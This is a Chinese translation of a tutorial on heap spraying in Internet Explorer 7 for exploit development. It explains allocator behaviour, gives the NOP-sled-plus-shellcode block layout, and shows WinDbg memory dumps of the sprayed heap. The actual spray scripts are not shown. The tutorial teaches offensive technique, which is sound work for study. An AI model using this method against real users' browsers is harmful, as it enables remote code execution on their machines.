Windows Exploit开发系列教程——堆喷射。欢迎来到堆喷射教程的第一部分。这部分我会介绍IE下典型的堆喷射技术, 第二部分会介绍精确喷射和IE8下的UAF。值得一提的是,堆喷射仅仅是一种payload传递技术,它不能绕过任何漏洞缓解技术。大多时候对的漏洞(或者flash,pdf,)利用会使用这项技术。 缓冲区溢出往往依赖这样的事实:们能够在栈(堆)上分配内存并写入shellcode。但是像浏览器或ActiveX的漏洞利用你可分配内存更稳定,不担心坏字符。
浏览器的漏洞利用我比较纠结用immunity还是Windbg调试器。Immunity是一个可视化的调试器,使用起来更舒适和方便。但是Windbg更快,更稳定。它有些特性很实用(最明显的是实用javascript断点)。我把选择权留给你。Windbg的优势在堆喷射教程的第二部分会更明显。值得一提的是,用Windbg之前需要先设置符号表。
好的。现在就开始我们的漏洞之旅吧!
我将用"RSP MP3 Player"介绍这项技术。之前的一个漏洞利用程序在这里。当你分析浏览器的漏洞,常常需要用到不同的版本。安装IE-Collection即可下载 。更新你的浏览器到最新版本然后安装IE-Collection。
调试机器:Windows XP SP3 & IE7
介绍
首先我想给满分 corelanc0d3r所做的工作。“堆喷射揭秘”是非常好并且很有深度的教程,解释了堆喷射用于payload传递的细节。我很抱歉使用了 corelanc0d3r 之前做的一些工作,但我有我的目的:用一个实际的漏洞来解释堆喷射。
我们知道程序栈可利用的空间是有限的。堆管理器可以动态的分配很大一块内存,例如程序需要存储临时定义的数据堆十分复杂,我不会解释所有的细节。但我会给你足够的信息帮助你了解它。
关于堆分配器有几件事我们需要知道:
(1)由于内存动态分配和释放,会产生堆碎片;
(2)堆内存块释放。会由前端或后端分配器回收(依赖操作系统). 分配器类似于缓存服务那样优化内存块分配。像之前提到堆分配和释放产生堆碎片(=bad),为了较少堆碎片,新分配一块内存时,堆分配器会直接返回之前释放的一块同样大小的内存。从而减少了新分配的次数(=good);
(3)虽然堆内存是动态分配,但是分配器往往会连续的分配内存块 (为了减少堆碎片)这意味着从攻击者的角度来看堆是确定的。 连续的分配内存我们就可以在某个可预测的地址上布置我们的数据。
“堆喷射”概念第一次由SkyLined在2004年提出。当时被用于IE浏览器iframe 缓冲区溢出漏洞利用。这个通用的技术已经被用于大多数浏览器: IE7, firefox 3.6.24, Opera 11.60。 精确堆喷射将在第二部分介绍,考虑一下这种情况,如果一个漏洞(可以控制EIP, UAF, 等等)允许写任意4字节。我们可以在堆上分配一系列内存块(包含shellcode), 然后利用漏洞实现4字节改写EIP,就可以跳去执行堆上的代码。 script可以直接在堆上分配字符串,通过巧妙的布置堆我们可以exploit任何的浏览器。现在主要问题是如何实现稳定的堆分配。下图应该能给你一些启发:
这足以提起你的兴趣。首先我们了解堆分配的过程, 接下来我们用它实现ActiveX的漏洞利用。
喷射shellcode块
之前提到,堆喷射是一种payload传递技术,它充分利用了javascript的特性。先让我们在堆上分配一些简单字符串。
下图可以看到我们成功在堆上分配ASCII字符串。记得用unescape否则我们的字符串将会是UNICODE。
目前为止还不错, 但记住我们的目标是在堆上连续的分配NOP+Shellcode块. 稍微改变一下JS脚本如下:
本质上来讲我们正在创建一个1000字节payload块,重复51次。下面是块的结构:
"\x90"*(1000-len(shellcode)) + shellcode
是时候用Windbg观察分配的情况了。下面是51个ASCII字符串分配结果。如果跟踪字符串的分配你会注意到开始的时候分配存在空隙,但是到后面的话基本上就是连续的。
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4b846 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
[...Snip...]
0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
0312f0fe 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:
0:013> d 02a4c04e
02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4c05e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02a4c06e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02a4c07e 00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01 ..........Y.H...
02a4c08e 28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90 (...............
02a4c09e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
02a4c0ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
02a4c0be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!
0:013> d 03130106-20
031300e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
031300f6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03130116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-1000
0312f0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f0f6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec
0312f106 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........
0312f116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-2000
0312e0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
0312e106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-3000
0312d0e6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec
0312d0f6 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........
0312d106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
很好,不可否认的是我们很幸运得到连续的分配。接下来需要做什么呢。
(1) 分配更多的数据填充更多的堆空间(覆写更高的内存地址);
(2) 改变块大小以适应BSTR对象,是分配更稳定和连续。
下面是最终的堆喷射脚本(公开的漏洞利用脚本,在所有IE7以下的版本测试结果一致。
这个脚本喷射更大的内存块 0x4000(=262144字节=0.25mb),重复喷喷射500次(=125mb)。考虑到我们的shellcode不太会大于1000字节,这意味着我们有99.997%的概率命中NOP’s。这样使得堆喷射更稳定。让我们在Windbg观察堆喷射:
0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity" 02a34010 46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20 FuzzySecurity.. 030ca75c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03b4ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03c6ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03cfffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03d8ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03e1ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03eaffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03f3ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... [...Snip...] 1521ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 152affee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1533ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 153cffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1545ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 154effee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1557ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...!peb看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆)。
另外你可以执行"!heap -stat" 看看已经提交的字节数
0:014> !peb PEB at 7ffd8000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00400000 Ldr 00251e90 Ldr.Initialized: Yes Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8 Ldr.InLoadOrderModuleList: 00251ec0 . 00255918 Ldr.InMemoryOrderModuleList: 00251ec8 . 00255920 Base TimeStamp Module 400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe 7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll 7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll 77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll 77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll [...Snip...] 767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll 77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll 76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll 76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll SubSystemData: 00000000 ProcessHeap: 00150000 ProcessParameters: 00020000 CurrentDirectory: 'C:\Documents and Settings\Administrator\Desktop\' WindowTitle: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe' ImageFile: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe' CommandLine: 'about:home' [...Snip...]让我们打印堆分配数据,我们可以看到98.63% 堆块正在使用:
0:014> !heap -stat -h 00150000 heap @ 00150000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) 7ffe0 1f4 - f9fc180 (98.63) 3fff8 3 - bffe8 (0.30) 1fff8 4 - 7ffe0 (0.20) 7ffd0 1 - 7ffd0 (0.20) 7ff8 b - 57fa8 (0.14) fff8 5 - 4ffd8 (0.12) 1ff8 21 - 41ef8 (0.10) 3ff8 d - 33f98 (0.08) ff8 f - ef88 (0.02) 7f8 18 - bf40 (0.02) 8fc1 1 - 8fc1 (0.01) 7fe0 1 - 7fe0 (0.01) 7fd0 1 - 7fd0 (0.01) 7db4 1 - 7db4 (0.01) 614 14 - 7990 (0.01) 57e0 1 - 57e0 (0.01) 20 208 - 4100 (0.01) 5e4 b - 40cc (0.01) 4e4 c - 3ab0 (0.01) 3980 1 - 3980 (0.01) 我们列出大小为0x7ffe0的块 0:014> !heap -flt s 7ffe0 _HEAP @ 150000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 03ad0018 fffc 0000 [0b] 03ad0020 7ffe0 - (busy VirtualAlloc) 03bf0018 fffc fffc [0b] 03bf0020 7ffe0 - (busy VirtualAlloc) 03c80018 fffc fffc [0b] 03c80020 7ffe0 - (busy VirtualAlloc) 03d10018 fffc fffc [0b] 03d10020 7ffe0 - (busy VirtualAlloc) 03da0018 fffc fffc [0b] 03da0020 7ffe0 - (busy VirtualAlloc) 03e30018 fffc fffc [0b] 03e30020 7ffe0 - (busy VirtualAlloc) 03ec0018 fffc fffc [0b] 03ec0020 7ffe0 - (busy VirtualAlloc) 03f50018 fffc fffc [0b] 03f50020 7ffe0 - (busy VirtualAlloc) [...Snip...] 15110018 fffc fffc [0b] 15110020 7ffe0 - (busy VirtualAlloc) 151a0018 fffc fffc [0b] 151a0020 7ffe0 - (busy VirtualAlloc) 15230018 fffc fffc [0b] 15230020 7ffe0 - (busy VirtualAlloc) 152c0018 fffc fffc [0b] 152c0020 7ffe0 - (busy VirtualAlloc) 15350018 fffc fffc [0b] 15350020 7ffe0 - (busy VirtualAlloc) 153e0018 fffc fffc [0b] 153e0020 7ffe0 - (busy VirtualAlloc) 15470018 fffc fffc [0b] 15470020 7ffe0 - (busy VirtualAlloc) 15500018 fffc fffc [0b] 15500020 7ffe0 - (busy VirtualAlloc)现在你可能会问告诉你自己:”这很酷, 但是有什么意义呢?”。一般上如果我们有写任意4字节漏洞。为了可靠,我们从来不会用shellcode地址直接覆写指针(例如EIP)。在堆喷射中我们可以决定堆布局。我们可以在堆中布置NOP’s+shellcode块。由于某个可预测的地址会指向NOP’s,所以我们可以用这个地址去覆写,一旦程序能执行到NOP’s,shellcode也会得到执行。下面是通常我们使用的可预测地址,在调试器看看这些地址的内容。
本文链接:https://www.58ssl.cn/wangluoanquan/1520.html TAG:"Windows Exploit开发教程"转载请注明出处。